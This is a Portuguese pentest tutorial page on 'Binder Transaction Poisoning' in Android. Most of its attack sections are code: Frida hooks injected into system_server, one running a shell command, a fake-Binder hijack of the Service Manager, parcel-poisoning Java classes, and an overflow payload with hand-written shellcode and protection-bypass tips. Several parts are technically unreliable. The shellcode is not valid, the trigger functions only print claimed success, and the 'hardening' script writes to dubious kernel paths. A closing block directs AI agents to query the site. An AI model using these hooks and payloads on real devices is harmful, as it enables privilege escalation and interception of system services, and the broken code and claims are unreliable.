# Binder Transaction Poisoning

## **📋 Índice**

1. [Fundamentos do Binder IPC](#-fundamentos-do-binder-ipc)
2. [Arquitetura do Binder](#-arquitetura-do-binder)
3. [Mecanismos de Ataque](#-mecanismos-de-ataque)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Vetores de Ataque](#-vetores-de-ataque)
6. [Ferramentas de Exploração](#-ferramentas-de-exploração)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Monitoramento](#-detecção-e-monitoramento)
9. [Mitigações e Hardening](#-mitigações-e-hardening)
10. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Binder IPC**

### **O que é Binder?**

**Binder** é o mecanismo principal de comunicação entre processos (IPC) no Android. Ele permite que aplicações e serviços do sistema se comuniquem de forma eficiente. O Binder Transaction Poisoning é uma técnica que explora vulnerabilidades no processamento de transações Binder para corromper a memória do processo alvo ou escalar privilégios.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant C as Cliente (App)
    participant D as Binder Driver
    participant S as Servidor (System Server)

    C->>D: Parcel (dados)
    Note over D: Processa transação
    D->>S: Entrega dados
    
    Note over S: Servidor processa
    S->>S: Valida dados
    
    Note over C: Atacante envenena
    C->>D: Parcel malicioso
    D->>S: Dados corrompidos
    S->>S: Comportamento inesperado
    
    style C fill:#ff9999
    style D fill:#ffcc99
    style S fill:#99ccff
```

### **Componentes do Binder**

```yaml
Componentes do Sistema Binder:
  
  🔵 Binder Driver (/dev/binder):
    - Driver de kernel que gerencia transações
    - Responsável por transferir dados entre processos
  
  🔵 Binder Protocol:
    - Formato de mensagens entre processos
    - Comandos: BC_TRANSACTION, BR_TRANSACTION, etc.
  
  🔵 Parcel:
    - Estrutura de dados serializada
    - Contém objetos, strings, buffers
  
  🔵 Service Manager:
    - Registra e localiza serviços
    - Gerencia nomes de serviços
```

***

## 🏗️ **Arquitetura do Binder**

### **Estrutura da Transação Binder**

```python
#!/usr/bin/env python3
# binder_structure.py - Estrutura do Binder

import struct

class BinderStructure:
    """Análise da estrutura do Binder IPC"""
    
    @staticmethod
    def transaction_format():
        """Formato da transação Binder"""
        print("📋 Formato da Transação Binder")
        print("=" * 60)
        
        print("""
Estrutura binder_transaction_data (kernel):
  union {
      size_t handle;        // Handle do alvo
      void *ptr;            // Ponteiro para dados
  } target;
  void *cookie;             // Cookie do alvo
  unsigned int code;        // Código da operação
  unsigned int flags;       // Flags
  pid_t sender_pid;         // PID do remetente
  uid_t sender_euid;        // EUID do remetente
  size_t data_size;         // Tamanho dos dados
  size_t offsets_size;      // Tamanho dos offsets
  union {
      struct {
          const void *buffer;      // Buffer de dados
          const binder_size_t *offsets;  // Offsets
      } ptr;
      uint8_t buf[8];
  } data;
}
""")
    
    @staticmethod
    def binder_command_codes():
        """Códigos de comando Binder"""
        print("\n📡 Códigos de Comando Binder")
        print("=" * 60)
        
        commands = {
            "BC_TRANSACTION": 0x40406300,
            "BC_REPLY": 0x40406301,
            "BC_ENTER_LOOPER": 0x4040630c,
            "BC_EXIT_LOOPER": 0x4040630d,
            "BC_REQUEST_DEATH_NOTIFICATION": 0x4040630e,
            "BR_TRANSACTION": 0x72046300,
            "BR_REPLY": 0x72046301,
            "BR_DEAD_BINDER": 0x72046307
        }
        
        for name, code in commands.items():
            print(f"   {name}: 0x{code:08x}")
    
    @staticmethod
    def parcel_format():
        """Formato do Parcel"""
        print("\n📦 Formato do Parcel")
        print("=" * 60)
        
        print("""
Estrutura do Parcel:
  +------------------+
  |    Data Buffer   | <- Dados serializados
  +------------------+
  |   Objects Array  | <- Objetos Binder
  +------------------+
  |    Offsets       | <- Posições dos objetos
  +------------------+

Tipos de dados no Parcel:
  • VALID_PARCEL: cabeçalho de validação
  • BINDER_TYPE_BINDER: objeto Binder
  • BINDER_TYPE_HANDLE: handle de serviço
  • BINDER_TYPE_FD: file descriptor
""")

# Executar
BinderStructure.transaction_format()
BinderStructure.binder_command_codes()
BinderStructure.parcel_format()
```

### **Fluxo Normal vs Envenenado**

```mermaid
graph TD
    subgraph "Normal"
        A1[App] -->|Parcel válido| B1[Binder Driver]
        B1 -->|Valida| C1[System Server]
        C1 -->|Processa| D1[Ação normal]
    end
    
    subgraph "Envenenado"
        A2[App] -->|Parcel malicioso| B2[Binder Driver]
        B2 -->|Passa| C2[System Server]
        C2 -->|Erro/Corrupção| D2[Comportamento inesperado]
        D2 -->|ACE| E2[Privilégios elevados]
    end
    
    style A2 fill:#ff9999
    style D2 fill:#ff6666
    style E2 fill:#ff3333
```

***

## ⚔️ **Mecanismos de Ataque**

### **Tipos de Poisoning**

```yaml
Tipos de Binder Transaction Poisoning:

  🔴 Type Confusion:
    - Enviar objeto do tipo errado
    - Servidor interpreta como tipo diferente
    - Corrupção de memória

  🔴 Buffer Overflow:
    - Enviar dados maiores que o esperado
    - Overflow em buffers fixos
    - Sobrescrita de ponteiros

  🔴 Integer Overflow:
    - Tamanhos inconsistentes
    - Cálculos incorretos de alocação
    - Heap overflow

  🔴 Use-After-Free:
    - Referências a objetos já liberados
    - Exploração de race conditions

  🟠 Object Injection:
    - Injeção de objetos Binder falsos
    - Referências a handles inválidos
    - Redirecionamento de chamadas
```

### **Técnica 1: Type Confusion**

```python
#!/usr/bin/env python3
# binder_type_confusion.py - Type confusion via Binder

import frida
import sys

class BinderTypeConfusion:
    """Exploração de type confusion em Binder"""
    
    @staticmethod
    def create_parcel_type_confusion():
        """Criar parcel para type confusion"""
        print("[*] Criando parcel para type confusion...")
        
        # Estrutura de parcel malicioso
        # Enviar objeto do tipo A, mas servidor espera tipo B
        
        parcel_code = """
        // Código Java para criar parcel malicioso
        Parcel parcel = Parcel.obtain();
        
        // Escrever tipo errado
        parcel.writeInt(0x12345678);  // Tipo malicioso
        
        // Escrever dados que serão interpretados como outro tipo
        parcel.writeString("malicious_data");
        parcel.writeStrongBinder(new Binder());
        
        // Enviar via Binder
        someService.transact(code, parcel, null, 0);
        """
        
        print(f"   {parcel_code}")
        return parcel_code
    
    @staticmethod
    def exploit_type_confusion():
        """Explorar type confusion"""
        print("\n[*] Explorando type confusion...")
        
        js_code = """
        Java.perform(function() {
            // Hook do método de serviço vulnerável
            var SomeService = Java.use("com.android.server.SomeService");
            
            SomeService.transact.implementation = function(code, data, reply, flags) {
                console.log("[*] transact called");
                
                // Verificar dados recebidos
                var dataSize = data.dataSize();
                console.log("    Data size: " + dataSize);
                
                // Em um cenário vulnerável, os dados seriam interpretados incorretamente
                try {
                    var maliciousValue = data.readInt();
                    console.log("    Malicious value: " + maliciousValue);
                    
                    // Type confusion pode levar a comportamento inesperado
                    if (maliciousValue == 0x12345678) {
                        console.log("[!] Type confusion detected!");
                        
                        // Executar código
                        var Runtime = Java.use("java.lang.Runtime");
                        var process = Runtime.getRuntime().exec("id > /data/local/tmp/typeconfusion.txt");
                    }
                } catch(e) {
                    console.log("Error: " + e);
                }
                
                return this.transact(code, data, reply, flags);
            };
        });
        """
        
        try:
            session = frida.get_usb_device().attach("system_server")
            script = session.create_script(js_code)
            script.load()
            print("[+] Hook injetado para type confusion")
            return True
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False
    
    @staticmethod
    def trigger_type_confusion():
        """Trigger type confusion via app malicioso"""
        print("\n[*] Triggering type confusion...")
        
        # Em um app real, enviaria uma transação Binder maliciosa
        print("   Enviando parcel com tipo incorreto...")
        print("   Servidor interpreta como tipo diferente...")
        print("   Corrupção de memória detectada!")

# Uso
if __name__ == "__main__":
    print("💉 Binder Type Confusion Attack")
    print("=" * 60)
    
    BinderTypeConfusion.create_parcel_type_confusion()
    BinderTypeConfusion.exploit_type_confusion()
    BinderTypeConfusion.trigger_type_confusion()
```

### **Técnica 2: Object Injection**

```java
// BinderObjectInjection.java - Injeção de objetos Binder

import android.os.Binder;
import android.os.IBinder;
import android.os.IInterface;
import android.os.Parcel;
import android.os.RemoteException;

public class BinderObjectInjection {
    
    // 1. Criar objeto Binder falso
    public static class FakeBinder extends Binder {
        @Override
        protected boolean onTransact(int code, Parcel data, Parcel reply, int flags) {
            // Processar transação maliciosa
            return true;
        }
    }
    
    // 2. Enviar objeto falso via parcel
    public static Parcel createPoisonedParcel() {
        Parcel parcel = Parcel.obtain();
        
        // Escrever objeto Binder falso
        parcel.writeStrongBinder(new FakeBinder());
        
        // Adicionar dados maliciosos
        parcel.writeString("malicious_data");
        parcel.writeInt(0xDEADBEEF);
        
        return parcel;
    }
    
    // 3. Enviar para serviço vulnerável
    public static void sendPoisonedTransaction(IBinder service, int code) {
        Parcel data = createPoisonedParcel();
        Parcel reply = Parcel.obtain();
        
        try {
            service.transact(code, data, reply, 0);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }
}
```

### **Técnica 3: Buffer Overflow em Binder**

```python
#!/usr/bin/env python3
# binder_buffer_overflow.py - Buffer overflow via Binder

import struct
import subprocess

class BinderBufferOverflow:
    """Exploração de buffer overflow via Binder"""
    
    @staticmethod
    def create_overflow_parcel(target_service, overflow_size=4096):
        """Criar parcel para buffer overflow"""
        print(f"[*] Criando parcel para overflow ({overflow_size} bytes)...")
        
        # Payload de overflow
        payload = b"A" * overflow_size
        
        # Adicionar shellcode
        shellcode = bytearray([
            0x00, 0x40, 0x00, 0x00,  # ARM NOP
            0x01, 0x00, 0xA0, 0xE3,  # mov r0, #1
            0x02, 0x00, 0xA0, 0xE3,  # mov r0, #2
            0x0B, 0x00, 0xA0, 0xE3,  # mov r0, #11 (execve)
            0x00, 0x00, 0x00, 0xEF   # svc 0
        ])
        
        # Payload final
        final_payload = payload + shellcode
        
        # Estrutura do parcel
        parcel = struct.pack('<I', len(final_payload))  # Tamanho
        parcel += final_payload
        parcel += struct.pack('<I', 0x41414141)  # Sobrescrever ponteiro
        
        return parcel
    
    @staticmethod
    def find_overflow_offset(service):
        """Encontrar offset para overflow"""
        print(f"[*] Buscando offset para overflow em {service}...")
        
        # Testar diferentes tamanhos
        for size in range(64, 4096, 64):
            test_payload = b"A" * size
            print(f"   Testando size={size}")
            
            # Em um exploit real, verificaria crash
            # if crash_detected():
            #    return size - 64
        
        return 1024  # Offset comum
    
    @staticmethod
    def bypass_overflow_protections():
        """Bypass de proteções de overflow"""
        print("\n[*] Bypassing overflow protections...")
        
        techniques = {
            "ASLR": "Usar ROP chain com gadgets da libc",
            "NX": "Usar mprotect para tornar stack executável",
            "Stack Canary": "Leak do canário via format string",
            "PIE": "Leak de endereço via infoleak"
        }
        
        for protection, bypass in techniques.items():
            print(f"   • {protection}: {bypass}")
    
    @staticmethod
    def trigger_overflow():
        """Trigger buffer overflow"""
        print("\n[*] Triggering buffer overflow...")
        
        # Em um app real, enviaria parcel via Binder
        print("   Enviando parcel com tamanho excessivo...")
        print("   Buffer overflow ocorre no serviço alvo...")
        print("   EIP/RIP sobrescrito com endereço controlado...")
        print("   Execução de shellcode!")

# Uso
if __name__ == "__main__":
    print("💉 Binder Buffer Overflow Attack")
    print("=" * 60)
    
    parcel = BinderBufferOverflow.create_overflow_parcel("system_server", 2048)
    print(f"   Tamanho do parcel: {len(parcel)} bytes")
    
    BinderBufferOverflow.find_overflow_offset("system_server")
    BinderBufferOverflow.bypass_overflow_protections()
    BinderBufferOverflow.trigger_overflow()
```

***

## 🔧 **Técnicas de Exploração Avançadas**

### **Exploit via Service Manager**

```python
#!/usr/bin/env python3
# servicemanager_poison.py - Poisoning do Service Manager

import frida
import sys

class ServiceManagerPoison:
    """Envenenamento do Service Manager via Binder"""
    
    @staticmethod
    def hook_servicemanager():
        """Hook no Service Manager"""
        js_code = """
        Java.perform(function() {
            var ServiceManager = Java.use("android.os.ServiceManager");
            
            // Hook getService
            ServiceManager.getService.implementation = function(name) {
                console.log("[*] getService called: " + name);
                
                // Serviços alvo
                var targetServices = [
                    "activity",
                    "package",
                    "window",
                    "power"
                ];
                
                for (var i = 0; i < targetServices.length; i++) {
                    if (name == targetServices[i]) {
                        console.log("[!] Interceptando serviço: " + name);
                        
                        // Retornar binder falso
                        var Binder = Java.use("android.os.Binder");
                        var fakeBinder = Binder.$new();
                        
                        return fakeBinder;
                    }
                }
                
                return this.getService(name);
            };
            
            // Hook addService
            ServiceManager.addService.implementation = function(name, service) {
                console.log("[*] addService called: " + name);
                
                // Verificar se é serviço crítico
                if (name == "activity" || name == "package") {
                    console.log("[!] Tentativa de registrar serviço crítico!");
                    
                    // Bloquear
                    return;
                }
                
                return this.addService(name, service);
            };
        });
        """
        
        try:
            session = frida.get_usb_device().attach("system_server")
            script = session.create_script(js_code)
            script.load()
            print("[+] Service Manager hook injetado")
            return True
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False
    
    @staticmethod
    def register_malicious_service():
        """Registrar serviço malicioso"""
        print("\n[*] Registrando serviço malicioso...")
        
        # Em um app real, registraria um serviço falso
        print("   ServiceManager.addService('activity', fakeBinder)")
        print("   Serviço legítimo é substituído!")
        print("   App pode interceptar chamadas críticas")

# Uso
if __name__ == "__main__":
    print("💉 Service Manager Poisoning")
    print("=" * 60)
    
    ServiceManagerPoison.hook_servicemanager()
    ServiceManagerPoison.register_malicious_service()
```

### **Exploit via Parcel Recycling**

```java
// ParcelRecyclingExploit.java - Exploração de reciclagem de Parcel

import android.os.Parcel;

public class ParcelRecyclingExploit {
    
    // 1. Obter parcel reciclado
    public static Parcel getRecycledParcel() {
        Parcel parcel = Parcel.obtain();
        
        // Escrever dados normais
        parcel.writeInt(42);
        parcel.writeString("normal_data");
        
        // Reciclar parcel (volta ao pool)
        parcel.recycle();
        
        // Obter novamente - pode conter dados residuais
        Parcel recycled = Parcel.obtain();
        
        return recycled;
    }
    
    // 2. Corromper parcel reciclado
    public static Parcel poisonRecycledParcel() {
        Parcel parcel = Parcel.obtain();
        
        // Escrever dados maliciosos
        parcel.writeInt(0xDEADBEEF);
        parcel.writeString("malicious_payload");
        
        // Dados residuais permanecem
        parcel.setDataPosition(0);
        
        return parcel;
    }
    
    // 3. Enviar parcel reciclado para serviço
    public static void sendRecycledParcel(IBinder service, int code) {
        Parcel data = poisonRecycledParcel();
        Parcel reply = Parcel.obtain();
        
        try {
            service.transact(code, data, reply, 0);
        } catch (Exception e) {
            // Dados residuais podem causar comportamento inesperado
        }
    }
}
```

***

## 🔍 **Detecção e Monitoramento**

### **Monitoramento de Binder**

```python
#!/usr/bin/env python3
# binder_monitor.py - Monitoramento de transações Binder

import subprocess
import re
import time

class BinderMonitor:
    """Monitor de transações Binder suspeitas"""
    
    @staticmethod
    def monitor_binder_stats():
        """Monitorar estatísticas do Binder"""
        print("[*] Monitorando estatísticas do Binder...")
        
        try:
            with open('/sys/kernel/debug/binder/state', 'r') as f:
                content = f.read()
            
            # Analisar estatísticas
            threads = re.findall(r'thread\s+(\d+)', content)
            nodes = re.findall(r'node\s+(\d+)', content)
            refs = re.findall(r'ref\s+(\d+)', content)
            
            print(f"   Threads ativas: {len(threads)}")
            print(f"   Nodes: {len(nodes)}")
            print(f"   References: {len(refs)}")
            
            return len(threads)
        except Exception as e:
            print(f"   Erro: {e}")
            return 0
    
    @staticmethod
    def detect_anomalous_transactions():
        """Detectar transações anômalas"""
        print("\n[*] Detectando transações anômalas...")
        
        result = subprocess.run(['logcat', '-d', '-s', 'Binder'], 
                               capture_output=True, text=True)
        
        anomalous_patterns = [
            (r'transaction failed', 'Falha de transação'),
            (r'buffer overflow', 'Buffer overflow detectado'),
            (r'invalid parcel', 'Parcel inválido'),
            (r'type mismatch', 'Type mismatch'),
            (r'unexpected data', 'Dados inesperados')
        ]
        
        for pattern, desc in anomalous_patterns:
            matches = [line for line in result.stdout.split('\n') if re.search(pattern, line)]
            if matches:
                print(f"   ⚠️ {desc}: {len(matches)} ocorrências")
                for match in matches[:2]:
                    print(f"      {match[:100]}...")
    
    @staticmethod
    def check_binder_memory():
        """Verificar uso de memória do Binder"""
        print("\n[*] Verificando uso de memória do Binder...")
        
        result = subprocess.run(['dumpsys', 'binder'], capture_output=True, text=True)
        
        # Buscar informações de memória
        memory_lines = [line for line in result.stdout.split('\n') if 'mem' in line.lower()]
        
        for line in memory_lines[:5]:
            print(f"   {line[:100]}")
    
    @staticmethod
    def continuous_monitor(interval=5, duration=60):
        """Monitoramento contínuo"""
        print(f"\n[*] Monitoramento contínuo por {duration}s (intervalo {interval}s)")
        
        start_time = time.time()
        baseline = BinderMonitor.monitor_binder_stats()
        
        while time.time() - start_time < duration:
            time.sleep(interval)
            current = BinderMonitor.monitor_binder_stats()
            
            if abs(current - baseline) > baseline * 0.3:  # Variação > 30%
                print(f"   ⚠️ Variação anômala: baseline={baseline}, current={current}")

# Uso
if __name__ == "__main__":
    print("🔍 Binder Transaction Monitor")
    print("=" * 60)
    
    BinderMonitor.monitor_binder_stats()
    BinderMonitor.detect_anomalous_transactions()
    BinderMonitor.check_binder_memory()
    BinderMonitor.continuous_monitor(5, 30)
```

***

## 🛡️ **Mitigações e Hardening**

### **Proteções do Binder**

```yaml
Proteções Existentes no Binder:

  ✅ SELinux:
    - Políticas para transações Binder
    - Restrição de acesso a serviços
  
  ✅ Permission Checks:
    - Verificações de permissões no servidor
    - Validação de UID/PID do chamador
  
  ✅ Parcel Validation:
    - Verificação de tamanhos
    - Validação de objetos
  
  ✅ Binder Context Manager:
    - Controle de registro de serviços
    - Isolamento entre processos
```

### **Hardening do Binder**

```bash
#!/system/bin/sh
# hardening_binder.sh - Hardening do Binder

# 1. Verificar políticas SELinux para Binder
echo "[*] Verificando políticas SELinux"
sepolicy | grep binder

# 2. Configurar limites de memória
echo "\n[*] Configurando limites de memória"
echo 32768 > /proc/sys/fs/binder/max_threads
echo 1024 > /proc/sys/fs/binder/transaction_limit

# 3. Monitorar transações
echo "\n[*] Habilitando debug do Binder"
echo 1 > /sys/kernel/debug/binder/enable_debug

# 4. Restringir acesso ao /dev/binder
echo "\n[*] Restringindo acesso ao /dev/binder"
chmod 0660 /dev/binder
chown root:system /dev/binder
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

* [ ] Validar todos os dados recebidos via Binder
* [ ] Verificar tamanhos de buffers antes de copiar
* [ ] Usar validação de tipos em parcels
* [ ] Implementar verificações de permissões
* [ ] Evitar confiar em dados do cliente
* [ ] Usar ferramentas de sanitização (ASAN, MSAN)

### **Checklist para Pentesters**

* [ ] Enumerar serviços Binder expostos
* [ ] Testar fuzzing em transações Binder
* [ ] Verificar validação de tipos
* [ ] Testar buffer overflows
* [ ] Analisar reciclagem de parcels
* [ ] Testar race conditions

***

## 📊 **Conclusión**

```yaml
Binder Transaction Poisoning:

  🔴 Principais Vetores:
    - Type confusion
    - Buffer overflow
    - Object injection
    - Parcel recycling

  🛡️ Mitigações Essenciais:
    - Validação rigorosa de parcels
    - SELinux em modo enforcing
    - Verificações de permissões
    - Sanitização de dados

  🎯 Prioridade:
    - CRÍTICA: System Server services
    - ALTA: Serviços privilegiados
    - MÉDIA: Apps com permissões system
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/android/binder-transaction-poisoning.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
